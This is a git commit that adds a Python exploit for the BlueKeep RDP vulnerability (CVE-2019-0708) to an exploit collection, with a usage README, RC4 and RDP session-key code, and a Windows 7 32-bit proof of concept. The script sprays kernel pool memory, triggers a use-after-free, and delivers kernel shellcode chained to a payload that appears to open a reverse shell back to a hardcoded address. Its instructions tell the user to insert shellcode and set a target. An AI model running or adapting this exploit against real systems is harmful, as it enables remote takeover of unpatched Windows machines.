add add bluekeep-CVE-2019-0708-python

This commit is contained in:
mr-xn
2019-11-19 14:12:45 +08:00
parent 6fae105b06
commit b3b6c75d54
9 changed files with 2242 additions and 0 deletions
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,25 @@
# bluekeep
Public work for CVE-2019-0708
### **2019-11-17 Update** ###
Added Windows 7 32bit exploit POC code.
Using the address within the POC exploit code I had ~80% success rate against my test VM.
It could likely be modfied to increase.
#### **Usage** ####
Replace the buf variable with your shellcode.
Update the host variable to your target.
`python3 win7_32_poc.py`
### **Requirements** ###
* Python3
### **Legal Disclaimer** ###
This project is made for educational and ethical testing purposes only. Usage of for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
author: https://github.com/0xeb-bp/bluekeep
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,54 @@
"""
Copyright (C) 2012 Bo Zhu http://about.bozhu.me
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
"""
def KSA(key):
keylength = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i] # swap
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # swap
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
def RC4Key(key):
return RC4([c for c in key])
def crypt(keystream, plaintext):
return bytes([c ^ next(keystream) for c in plaintext])
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,184 @@
import binascii
import hashlib
import rc4
import struct
class non_fips():
def __init__(self, server_ran, client_ran):
# PreMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom)
self.server_ran = server_ran
self.client_ran = client_ran
# PreMasterSecret
self.pms = self.client_ran[:24] + self.server_ran[:24]
# MasterSecret
self.ms = self.__get_master_secret()
# SessionKeyBlob
self.sess_key_blob = self.__get_sess_key_blob()
# MACKey128 = First128Bits(SessionKeyBlob)
# InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob))
# InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob))
def get_dec_key(self):
return rc4.RC4Key(self.__get_final_hash(self.sess_key_blob[16:32]))
def get_enc_key(self):
key = self.__get_final_hash(self.sess_key_blob[32:48])
return rc4.RC4Key(key), key
def get_mac_key(self):
#print('mac key')
#print(binascii.hexlify(self.sess_key_blob[:16]))
return self.sess_key_blob[:16]
# MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343)
def __get_master_secret(self):
return self.__get_pm_hash(b'\x41') + self.__get_pm_hash(b'\x42'*2) + self.__get_pm_hash(b'\x43'*3)
# SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A)
def __get_sess_key_blob(self):
return self.__get_m_hash(b'\x58') + self.__get_m_hash(b'\x59'*2) + self.__get_m_hash(b'\x5a'*3)
# PreMasterHash(I) = SaltedHash(MasterSecret, I)
def __get_m_hash(self, I):
return self.__get_salted_hash(self.ms, I)
# PreMasterHash(I) = SaltedHash(PremasterSecret, I)
def __get_pm_hash(self, I):
return self.__get_salted_hash(self.pms, I)
# SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))
def __get_salted_hash(self, S, I):
sha1Digest = hashlib.sha1()
md5Digest = hashlib.md5()
sha1Digest.update(I)
sha1Digest.update(S)
sha1Digest.update(self.client_ran)
sha1Digest.update(self.server_ran)
sha1Sig = sha1Digest.digest()
md5Digest.update(S)
md5Digest.update(sha1Sig)
return md5Digest.digest()
# FinalHash(K) = MD5(K + ClientRandom + ServerRandom)
def __get_final_hash(self, K):
md5Digest = hashlib.md5()
md5Digest.update(K)
md5Digest.update(self.client_ran)
md5Digest.update(self.server_ran)
md5Sig = md5Digest.digest()
#print('encrypt/decrypt key')
#print(binascii.hexlify(md5Sig))
return md5Sig
class rc4_crypter():
def __init__(self, non_fips):
# we are sploiting no need for decrypt as far as i've seen
self.enc_key, self.initial_key = non_fips.get_enc_key()
self.current_key = self.initial_key
self.dec_key = non_fips.get_dec_key()
self.mac_key = non_fips.get_mac_key()
self.enc_count = 0
def encrypt(self, data):
enc = rc4.crypt(self.enc_key, data)
self.increment()
return enc
def decrypt(self, data):
return rc4.crypt(self.dec_key, data)
# Pad1 = 0x36 repeated 40 times to give 320 bits
# Pad2 = 0x5C repeated 48 times to give 384 bits
#
# SHAComponent = SHA(MACKeyN + Pad1 + DataLength + Data)
# MACSignature = First64Bits(MD5(MACKeyN + Pad2 + SHAComponent))
def sign(self, data):
sha1Digest = hashlib.sha1()
md5Digest = hashlib.md5()
len_data = len(data)
len_data = struct.pack('<I', len_data)
sha1Digest.update(self.mac_key)
sha1Digest.update(b'\x36'*40)
sha1Digest.update(len_data)
sha1Digest.update(data)
sha1Sig = sha1Digest.digest()
md5Digest.update(self.mac_key)
md5Digest.update(b'\x5c'*48)
md5Digest.update(sha1Sig)
md5Sig = md5Digest.digest()
return md5Sig[:8]
def increment(self):
self.enc_count += 1
if self.enc_count == 4096:
self.update_enc_key()
self.enc_count = 0
def update_enc_key(self):
sha1Digest = hashlib.sha1()
md5Digest = hashlib.md5()
sha1Digest.update(self.initial_key)
sha1Digest.update(b"\x36" * 40)
sha1Digest.update(self.current_key)
sha1Sig = sha1Digest.digest()
md5Digest.update(self.initial_key)
md5Digest.update(b"\x5c" * 48)
md5Digest.update(sha1Sig)
tempKey128 = md5Digest.digest()
# If the key strength is 128 bits, then the temporary key (TempKey128) is used to
# reinitialize the associated RC4 substitution table. (For more information on RC4
# substitution table initialization, see [[SCHNEIER]] section 17.1.)
# S-TableEncrypt = InitRC4(TempKey128)
# RC4 is then used to encrypt TempKey128 to obtain the new 128-bit encryption key.
S_TableEncrypt = rc4.RC4Key(tempKey128)
# NewEncryptKey128 = RC4(TempKey128, S-TableEncrypt)
self.current_key = rc4.crypt(S_TableEncrypt, tempKey128)
# Finally, the associated RC4 substitution table is reinitialized with the new
# encryption key (NewEncryptKey128), which can then be used to encrypt a further 4,096 packets.
# S-Table = InitRC4(NewEncryptKey128)
self.enc_key = rc4.RC4Key(self.current_key)
@@ -0,0 +1,176 @@
import rdp
import socket
import binascii
import time
def pool_spray(s, crypter, payload):
times = 10000
count = 0
while count < times:
count += 1
#print('time through %d' % count)
try:
s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, payload))
except ConnectionResetError:
print('ConnectionResetError pool_spray Aborting')
quit()
def main():
# change to your target
host = '192.168.0.46'
port = 3389
times = 4000
count = 0
target = (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
crypter = rdp.connect(s)
# this address was choosen for the pool spray. it could be be
# modified for potentially higher success rates.
# in my testing against the win7 VM it is around 80% success
# 0x874ff028
shellcode_address = b'\x28\xf0\x4f\x87'
# replace buf with your shellcode
buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += b"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += b"\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x22\x68"
buf += b"\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += b"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
buf += b"\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
buf += b"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
buf += b"\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
buf += b"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
buf += b"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
buf += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68"
buf += b"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
# bluekeep_kshellcode_x86.asm
# ring 0 to ring 3 shellcode
shellcode = b""
shellcode += b"\x60\xe8\x00\x00\x00\x00\x5b\xe8\x26\x00\x00\x00"
shellcode += b"\xb9\x76\x01\x00\x00\x0f\x32\x8d\x7b\x3c\x39\xf8"
shellcode += b"\x74\x11\x39\x45\x00\x74\x06\x89\x45\x00\x89\x55"
shellcode += b"\x08\x89\xf8\x31\xd2\x0f\x30\x61\xf4\xeb\xfd\xc2"
shellcode += b"\x24\x00\x8d\xab\x00\x10\x00\x00\xc1\xed\x0c\xc1"
shellcode += b"\xe5\x0c\x83\xed\x50\xc3\xb9\x23\x00\x00\x00\x6a"
shellcode += b"\x30\x0f\xa1\x8e\xd9\x8e\xc1\x64\x8b\x0d\x40\x00"
shellcode += b"\x00\x00\x8b\x61\x04\x51\x9c\x60\xe8\x00\x00\x00"
shellcode += b"\x00\x5b\xe8\xcb\xff\xff\xff\x8b\x45\x00\x83\xc0"
shellcode += b"\x17\x89\x44\x24\x24\x31\xc0\x99\x42\xf0\x0f\xb0"
shellcode += b"\x55\x08\x75\x12\xb9\x76\x01\x00\x00\x99\x8b\x45"
shellcode += b"\x00\x0f\x30\xfb\xe8\x04\x00\x00\x00\xfa\x61\x9d"
shellcode += b"\xc3\x8b\x45\x00\xc1\xe8\x0c\xc1\xe0\x0c\x2d\x00"
shellcode += b"\x10\x00\x00\x66\x81\x38\x4d\x5a\x75\xf4\x89\x45"
shellcode += b"\x04\xb8\x78\x7c\xf4\xdb\xe8\xd3\x00\x00\x00\x97"
shellcode += b"\xb8\x3f\x5f\x64\x77\x57\xe8\xc7\x00\x00\x00\x29"
shellcode += b"\xf8\x89\xc1\x3d\x70\x01\x00\x00\x75\x03\x83\xc0"
shellcode += b"\x08\x8d\x58\x1c\x8d\x34\x1f\x64\xa1\x24\x01\x00"
shellcode += b"\x00\x8b\x36\x89\xf2\x29\xc2\x81\xfa\x00\x04\x00"
shellcode += b"\x00\x77\xf2\x52\xb8\xe1\x14\x01\x17\xe8\x9b\x00"
shellcode += b"\x00\x00\x8b\x40\x0a\x8d\x50\x04\x8d\x34\x0f\xe8"
shellcode += b"\xcb\x00\x00\x00\x3d\x5a\x6a\xfa\xc1\x74\x0e\x3d"
shellcode += b"\xd8\x83\xe0\x3e\x74\x07\x8b\x3c\x17\x29\xd7\xeb"
shellcode += b"\xe3\x89\x7d\x0c\x8d\x1c\x1f\x8d\x75\x10\x5f\x8b"
shellcode += b"\x5b\x04\xb8\x3e\x4c\xf8\xce\xe8\x61\x00\x00\x00"
shellcode += b"\x8b\x40\x0a\x3c\xa0\x77\x02\x2c\x08\x29\xf8\x83"
shellcode += b"\x7c\x03\xfc\x00\x74\xe1\x31\xc0\x55\x6a\x01\x55"
shellcode += b"\x50\xe8\x00\x00\x00\x00\x81\x04\x24\x92\x00\x00"
shellcode += b"\x00\x50\x53\x29\x3c\x24\x56\xb8\xc4\x5c\x19\x6d"
shellcode += b"\xe8\x25\x00\x00\x00\x31\xc0\x50\x50\x50\x56\xb8"
shellcode += b"\x34\x46\xcc\xaf\xe8\x15\x00\x00\x00\x85\xc0\x74"
shellcode += b"\xaa\x8b\x45\x1c\x80\x78\x0e\x01\x74\x07\x89\x00"
shellcode += b"\x89\x40\x04\xeb\x9a\xc3\xe8\x02\x00\x00\x00\xff"
shellcode += b"\xe0\x60\x8b\x6d\x04\x97\x8b\x45\x3c\x8b\x54\x05"
shellcode += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\x49"
shellcode += b"\x8b\x34\x8b\x01\xee\xe8\x1d\x00\x00\x00\x39\xf8"
shellcode += b"\x75\xf1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
shellcode += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24"
shellcode += b"\x1c\x61\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01"
shellcode += b"\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x58\x89\x44\x24"
shellcode += b"\x10\x58\x59\x58\x5a\x60\x52\x51\x8b\x28\x31\xc0"
shellcode += b"\x64\xa2\x24\x00\x00\x00\x99\xb0\x40\x50\xc1\xe0"
shellcode += b"\x06\x50\x54\x52\x89\x11\x51\x4a\x52\xb8\xea\x99"
shellcode += b"\x6e\x57\xe8\x7b\xff\xff\xff\x85\xc0\x75\x4f\x58"
shellcode += b"\x8b\x38\xe8\x00\x00\x00\x00\x5e\x83\xc6\x55\xb9"
shellcode += b"\x00\x04\x00\x00\xf3\xa4\x8b\x45\x0c\x50\xb8\x48"
shellcode += b"\xb8\x18\xb8\xe8\x56\xff\xff\xff\x8b\x40\x0c\x8b"
shellcode += b"\x40\x14\x8b\x00\x66\x83\x78\x24\x18\x75\xf7\x8b"
shellcode += b"\x50\x28\x81\x7a\x0c\x33\x00\x32\x00\x75\xeb\x8b"
shellcode += b"\x58\x10\x89\x5d\x04\xb8\x5e\x51\x5e\x83\xe8\x32"
shellcode += b"\xff\xff\xff\x59\x89\x01\x31\xc0\x88\x45\x08\x40"
shellcode += b"\x64\xa2\x24\x00\x00\x00\x61\xc3\x5a\x58\x58\x59"
shellcode += b"\x51\x51\x51\xe8\x00\x00\x00\x00\x83\x04\x24\x09"
shellcode += b"\x51\x51\x52\xff\xe0\x31\xc0"
shellcode += buf
print('shellcode len: %d' % len(shellcode))
payload_size = 1600
payload = b'\x2c\xf0\x4f\x87' + shellcode
payload = payload + b'\x5a' * (payload_size - len(payload))
print('[+] spraying pool')
pool_spray(s, crypter, payload)
fake_obj_size = 168
call_offset = 108
fake_obj = b'\x00'*call_offset + shellcode_address
fake_obj = fake_obj + b'\x00' * (fake_obj_size - len(fake_obj))
time.sleep(.5)
print('[+] sending free')
s.sendall(rdp.free_32(crypter))
time.sleep(.15)
print('[+] allocating fake objects')
while count < times:
count += 1
#print('time through %d' % count)
try:
s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, fake_obj))
except ConnectionResetError:
s.close()
s.close()
if __name__== "__main__":
main()
+1
View File
@@ -100,6 +100,7 @@
## PC
- [ 微软RDP远程代码执行漏洞(CVE-2019-0708](./BlueKeep)
- [CVE-2019-0708-python版](./BlueKeep/bluekeep-CVE-2019-0708-python)
- [MS17-010-微软永恒之蓝漏洞](https://github.com/Mr-xn/MS17-010)
- [macOS-Kernel-Exploit](./macOS-Kernel-Exploit)